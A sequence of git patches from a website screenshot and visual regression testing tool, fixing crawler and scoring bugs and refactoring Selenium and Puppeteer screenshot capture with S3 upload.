From fbfd25b14628a834e0dc2d5c51f2a28b492c6934 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 17 Aug 2023 23:07:55 -0500
Subject: [PATCH 130/752] trying to fix crawler issues

---
 app/api/utils/crawler.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 558b7f6d..68a9e211 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -33,7 +33,7 @@ def url_is_valid(url):
                 '.webp', '.tiff', '.tif', '.psd', '.ps',
                 '.ico', '.gif', '.bmp'
             ]
-            if not (url.startswith(self.url) or url.startswith('/')):
+            if not url.startswith(self.url) and not url.startswith('/'):
                 return False
             for bad_str in bad_str_list:
                 if bad_str in url:

From 4f3c89393ec192ff6bfe311c313e7424cb88507a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 17 Aug 2023 23:12:36 -0500
Subject: [PATCH 131/752] fixed divide by zero error

---
 app/api/utils/scanner.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 1f7bb657..3dff8362 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -238,8 +238,9 @@ def update_site_info(scan):
                 scans.append(_scan.yellowlab['scores']['globalScore'])
     
     # calc average score
-    score = sum(scans)/len(scans)
-    
+    if len(scans) > 0:
+        score = sum(scans)/len(scans)
+        
     if score != 0:
         if score >= 75:
             health = 'Good'

From 7a2c7d401c4230bcb9028bfcb49aedbd9e283987 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 18 Aug 2023 13:48:46 -0500
Subject: [PATCH 132/752] fixed crawler issues

---
 app/api/utils/crawler.py | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 68a9e211..18a09851 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,5 +1,6 @@
 import requests
 from bs4 import BeautifulSoup
+from .driver_s import driver_init, quit_driver
 
 
 
@@ -10,6 +11,7 @@ def __init__(self, url=None, sitemap=None, max_urls=25):
         self.url = url
         self.sitemap = sitemap
         self.max_urls = max_urls
+        self.driver = driver_init()
 
     
     def get_links(self):
@@ -45,8 +47,8 @@ def url_is_valid(url):
 
         
         def add_urls(start_url):
-            reqs = requests.get(start_url)
-            soup = BeautifulSoup(reqs.text, 'html.parser')
+            self.driver.get(start_url)
+            soup = BeautifulSoup(self.driver.page_source, 'html.parser')
             for link in soup.find_all('a'):
                 url = link.get('href')
                 if url is not None:
@@ -54,10 +56,12 @@ def add_urls(start_url):
                         if url.startswith('/'):
                             url = self.url + url
                         # check status of page
-                        if requests.get(url).status_code == 200:
+                        req_status = requests.get(url).status_code
+                        bad_status = [404, 500, 301]
+                        if not (req_status in bad_status):
                             if url.endswith('/'):
                                 url = url.rstrip('/')
-                            if not url in follow_urls and '#' not in url:
+                            if not (url in follow_urls):
                                 follow_urls.append(url)
             
         # layer 0
@@ -74,7 +78,7 @@ def add_urls(start_url):
                     print('max pages reached')
                     break
 
-        
+        quit_driver(self.driver)
         return crawled_urls
 
 

From c3ff201dfb6c17a9079d60d96f3c43fbe5ff7345 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 20 Aug 2023 14:05:19 -0500
Subject: [PATCH 133/752] added 'frame_by_frame' params

---
 app/api/utils/image.py | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 3e63ba42..4b6ff3cc 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -248,7 +248,6 @@ def scan_full(self, scan, configs, driver=None,):
             driver = driver_init()
             driver_present = False
 
-
         # request page_url 
         driver.get(page.page_url)
 
@@ -261,9 +260,10 @@ def scan_full(self, scan, configs, driver=None,):
         )
 
         # getting full_page_height
-        full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-        sizes = configs.get('window_size', '1920,1080').split(',')
-        driver.set_window_size(int(sizes[0]), int(full_page_height))
+        if configs.get('frame_by_frame') == False:
+            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+            sizes = configs.get('window_size', '1920,1080').split(',')
+            driver.set_window_size(int(sizes[0]), int(full_page_height))
 
 
         if configs.get('disable_animations') == True:
@@ -315,7 +315,6 @@ def scan_full(self, scan, configs, driver=None,):
 
             # scroll single frame
             if index != 0:
-                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
                 time.sleep(int(configs.get('min_wait_time', 10)))
 
@@ -750,7 +749,10 @@ def get_page():
         site = await get_site()
         _page = await get_page()
 
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=int(configs.get('max_wait_time', 30)))
+        driver = await driver_init_p(
+            window_size=configs.get('window_size', '1920,1080'), 
+            wait_time=int(configs.get('max_wait_time', 30))
+        )
         page = await driver.newPage()
 
         sizes = configs.get('window_size', '1920,1080').split(',')
@@ -766,12 +768,14 @@ def get_page():
         # requesting page_url to get height of 
         await page.goto(_page.page_url, page_options)
 
-        # getting full_page_height
-        full_page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+        # getting full page_height
+        page_height = int(sizes[1])
+        if configs.get('frame_by_frame') == False:
+            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
 
         viewport = {
             'width': int(sizes[0]),
-            'height': int(full_page_height),
+            'height': int(page_height),
             'isMobile': is_mobile,
         }
         

From 7aa75577f7b1f4b5a4894666d3afa198db31e6d3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 22 Aug 2023 22:04:59 -0500
Subject: [PATCH 134/752] "auto_height" param, and auto image cropping in

---
 app/api/utils/image.py   | 1234 +++++++-------------------------------
 app/api/utils/scanner.py |   12 +-
 2 files changed, 207 insertions(+), 1039 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 4b6ff3cc..02b4d977 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -24,29 +24,49 @@ class Image():
     High level Image handler used to compare screenshots of
     a website and retrieve single one-page screenshots. 
     Also known as VRT or Visual Regression Testing.
-    Contains five methods scan(), scan_p(), test(), 
-    screenshot(), and screenshot_p(). The _p appendage
-    denotes using Puppeteer as the webdriver:
+    Contains three methods scan_s(), scan_p(), test(). 
+    The _p appendage denotes using Puppeteer as the webdriver
+    and the _s appendage denotes using Selenium as the webdriver:
 
-        def scan(site, driver=None) -> grabs multiple 
-            screenshots of the website and uploads 
-            them to s3.
+        def scan_s(driver=None) -> using selenium
+            grabs multiple screenshots of the website 
+            and uploads them to s3.
 
+        def scan_p() -> using puppeteer
+            grabs multiple screenshots of the website 
+            and uploads them to s3.
 
         def test(test=<test:object>) -> compares each 
             screenshot in the two scans and records 
             a score out of 100%
 
+    """
 
-        def screeshot(site, driver=None) -> grabs single 
-            screenshot of the site and uploads it to s3
 
-    """
+    def __init__(self, scan, configs):
 
+        # main scan object
+        self.scan = scan
 
-    def __init__(self):
+        # main configs object
+        self.configs = configs
         
+        # main image_array for scans
+        self.image_array = []
+        
+        # setup boto3 configurations
+        self.s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
         # scripts
+        self.pause_video_script = (
+            "const video = document.querySelectorAll('video').forEach(vid => vid.pause());"
+        )
+
         self.set_jquery = (
             """
             var jq = document.createElement('script');
@@ -55,6 +75,14 @@ def __init__(self):
             """
         )
 
+        self.pause_animations_script = (
+            """
+            const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');
+            const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');
+            styleElement.appendChild(styleTagCSSes);
+            document.head.appendChild(styleElement);
+            """
+        )
 
 
 
@@ -64,7 +92,6 @@ def check_timeout(self, timeout, start_time):
         
         returns -> True if timeout exceeded
         """
-
         current = datetime.now()
         diff = current - start_time
         if diff.total_seconds() >= timeout:
@@ -76,297 +103,51 @@ def check_timeout(self, timeout, start_time):
 
 
 
-
-
-    def scan(self, scan, configs, driver=None,):
+    def add_images(self, im1, im2):
         """
-        Grabs multiple screenshots of the website and uploads 
-        them to s3.
+        Joins img1 and im2 vertically and saves as "new_img"
+        
+        Returns -> new_img <Image>
         """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        page = scan.page
-
-        # initialize driver if not passed as param
-        driver_present = True
-        if not driver:
-            driver = driver_init()
-            driver_present = False
-
-
-        # request page_url 
-        driver.get(page.page_url)
-
-        # waiting for network requests to resolve
-        driver_wait(
-            driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
-        )
-
-
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
-                
-            # inserting video pausing scripts
-            try:
-                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
-            except:
-                print('cannnot pause videos')
-
-        # mask all listed ids        
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
+        im1 = I.open(im1)
+        im2 = I.open(im2)
+        new_img = I.new('RGB', (im1.width, im1.height + im2.height))
+        new_img.paste(im1, (0, 0))
+        new_img.paste(im2, (0, im1.height))
+        return new_img
         
-        # mask all Global mask ids that are active
-        active_masks = Mask.objects.filter(active=True)
-        if len(active_masks) != 0:
-            for mask in active_masks:
-                try:
-                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via global mask id provided')
-
-
-        # scroll one frame at a time and capture screenshot
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
-                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-                
-                # waiting for network requests to resolve
-                driver_wait(
-                    driver=driver, 
-                    interval=int(configs.get('interval', 5)),  
-                    min_wait_time=int(configs.get('min_wait_time', 10)),
-                    max_wait_time=int(configs.get('max_wait_time', 30)),
-                )
-
-                # get screenshot
-                driver.save_screenshot(f'{pic_id}.png')
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-        if not driver_present:
-            quit_driver(driver)
-
-        return image_array
-
-
-
-
 
 
-
-    def scan_full(self, scan, configs, driver=None,):
+    
+    def save_image(self, pic_id, image):
         """
-        Grabs full length screenshots of the website and uploads 
-        them to s3.
+        Upload image to s3, save info as image_obj,
+        add image_obj to image_array, & remove image file
         """
+        remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
+        root_path = settings.AWS_S3_URL_PATH
+        image_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(image, 'rb') as data:
+            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+            )
+    
+        # create image obj and add to list
+        img_obj = {
+            "index": 0,
+            "id": str(pic_id),
+            "url": image_url,
+            "path": remote_path,
+        }
+        self.image_array.append(img_obj)
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        page = scan.page
-
-        # initialize driver if not passed as param
-        driver_present = True
-        if not driver:
-            driver = driver_init()
-            driver_present = False
-
-        # request page_url 
-        driver.get(page.page_url)
-
-        # waiting for network requests to resolve
-        driver_wait(
-            driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
-        )
-
-        # getting full_page_height
-        if configs.get('frame_by_frame') == False:
-            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-            sizes = configs.get('window_size', '1920,1080').split(',')
-            driver.set_window_size(int(sizes[0]), int(full_page_height))
-
-
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
-                
-            # inserting video pausing scripts
-            try:
-                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
-            except:
-                print('cannnot pause videos')
-
-        # mask all listed ids        
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
+        print(f'adding {img_obj["url"]} to image_array')
         
-        # mask all Global mask ids that are active
-        active_masks = Mask.objects.filter(active=True)
-        if len(active_masks) != 0:
-            for mask in active_masks:
-                try:
-                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via global mask id provided')
-
-
-        # scroll one frame at a time and capture screenshot
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-                
-                # waiting for network requests to resolve
-                driver_wait(
-                    driver=driver, 
-                    interval=int(configs.get('interval', 5)),  
-                    min_wait_time=int(configs.get('min_wait_time', 10)),
-                    max_wait_time=int(configs.get('max_wait_time', 30)),
-                )
-
-                # get screenshot
-                driver.save_screenshot(f'{pic_id}.png')
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-        if not driver_present:
-            quit_driver(driver)
+        # remove local copy
+        os.remove(image)
 
-        return image_array
 
 
 
@@ -374,479 +155,74 @@ def scan_full(self, scan, configs, driver=None,):
 
 
 
-    def _scan(self, scan, configs, driver=None,):
+    def scan_s(self, driver=None):
         """
-        Grabs multiple screenshots of the website and uploads 
-        them to s3 as one package.
+        Grabs full length screenshots of the website and uploads 
+        them to s3.
         """
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        page = scan.page
-
         # initialize driver if not passed as param
         driver_present = True
         if not driver:
             driver = driver_init()
             driver_present = False
 
-
         # request page_url 
-        driver.get(page.page_url)
+        driver.get(self.scan.page.page_url)
 
         # waiting for network requests to resolve
         driver_wait(
             driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
+            interval=int(self.configs.get('interval', 5)),  
+            min_wait_time=int(self.configs.get('min_wait_time', 10)),
+            max_wait_time=int(self.configs.get('max_wait_time', 30)),
         )
 
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
+        # defining browser demesions
+        sizes = self.configs.get('window_size', '1920,1080').split(',')
 
-            # inserting video pausing scripts
-            try:
-                driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());")
-            except:
-                print('cannnot pause videos')
-            
-
-        # mask all listed ids        
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
-        
-        # mask all Global mask ids that are active
-        active_masks = Mask.objects.filter(active=True)
-        if len(active_masks) != 0:
-            for mask in active_masks:
-                try:
-                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via global mask id provided')
-
-        
-        # vertically concats two images
-        def add_images(im1, im2):
-            im1 = I.open(im1)
-            im2 = I.open(im2)
-            new_img = I.new('RGB', (im1.width, im1.height + im2.height))
-            new_img.paste(im1, (0, 0))
-            new_img.paste(im2, (0, im1.height))
-            return new_img
-
-
-        # scroll one frame at a time and capture screenshot
-        final_img = None
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                # driver.execute_script("window.scrollBy(0, window.innerHeight);")
-                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-                
-                # waiting for network requests to resolve
-                driver_wait(
-                    driver=driver, 
-                    interval=int(configs.get('interval', 5)),  
-                    min_wait_time=int(configs.get('min_wait_time', 10)),
-                    max_wait_time=int(configs.get('max_wait_time', 30)),
-                )
-
-                # get screenshot
-                driver.save_screenshot(f'{pic_id}.png')
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-
-                # adding new image to bottom of existing image (if not index = 0)
-                pic_id_2 = uuid.uuid4()
-                if index != 0 and final_img is not None:
-                    add_images(final_img, image).save(f'{pic_id_2}.png')
-                    os.remove(final_img)
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                else:
-                    I.open(image).save(f'{pic_id_2}.png')
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                
-                # remove local copy
-                os.remove(image)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-
-        remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id_2}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(final_img, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-       
-
-        # create image obj and add to list
-        img_obj = {
-            "index": 0,
-            "id": str(pic_id_2),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        image_array.append(img_obj)
-        
-        # remove local copy
-        os.remove(final_img)
-
-        if not driver_present:
-            quit_driver(driver)
-
-        return image_array
-
-
-
-
-
-
-    async def scan_p(self, scan, configs):
-        """
-        Using Puppeteer, grabs multiple screenshots of the website and uploads 
-        them to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        site = scan.site
-        _page = scan.page
-
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
-        page = await driver.newPage()
-
-        sizes = configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if configs.get('device') == 'mobile':
-            is_mobile = True
-        
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': configs.get('max_wait_time', 30)*1000
-        }
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
-
-        # requesting page_url
-        await page.goto(_page.page_url, page_options)
-
-        
-        if configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
-            except:
-                print('cannot pause animations')
-
-            # pausing videos
-            try:
-                videos = await page.querySelectorAll('video')
-                for vid in videos:
-                    await page.evaluate('(vid) => vid.pause()', vid)
-            except Exception as e:
-                print(e)
-
-
-        # mask all listed ids
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
-
-        # mask all Global mask ids that are active
-        @sync_to_async
-        def get_active_global_masks():
-            masks = Mask.objects.filter(active=True)
-            active_masks = []
-            if len(masks) > 0:
-                for mask in masks:
-                    active_masks.append(mask.id)
-            return active_masks
-
-        active_masks = await get_active_global_masks()
-
-        for mask in active_masks:
-            try:
-                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
-                print('masked an element')
-            except:
-                print('cannot find element via global mask id provided')
-
-
-        # scroll one frame at a time and capture screenshot
-        image_array = []
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-
-                # interact with and wait for page to load
-                await page.mouse.move(0, 0)
-                await page.mouse.move(0, 100)
-                time.sleep(int(configs.get('min_wait_time', 10)))
-                
-            
-                # get screenshot
-                await page.screenshot({'path': f'{pic_id}.png'})
-
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
-
-                index += 1 
-            
-            else:
-                bottom = True
-
-        
-        await driver.close()
-
-        return image_array
-
-
-
-
-
-
-    async def scan_p_full(self, scan, configs):
-        """
-        Using Puppeteer, grabs full length screenshots of the website and uploads 
-        them to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # get page and site objs
-        @sync_to_async
-        def get_site():
-            site = scan.site
-            return site
-        
-        @sync_to_async
-        def get_page():
-            _page = scan.page
-            return _page
-
-        site = await get_site()
-        _page = await get_page()
-
-        driver = await driver_init_p(
-            window_size=configs.get('window_size', '1920,1080'), 
-            wait_time=int(configs.get('max_wait_time', 30))
-        )
-        page = await driver.newPage()
-
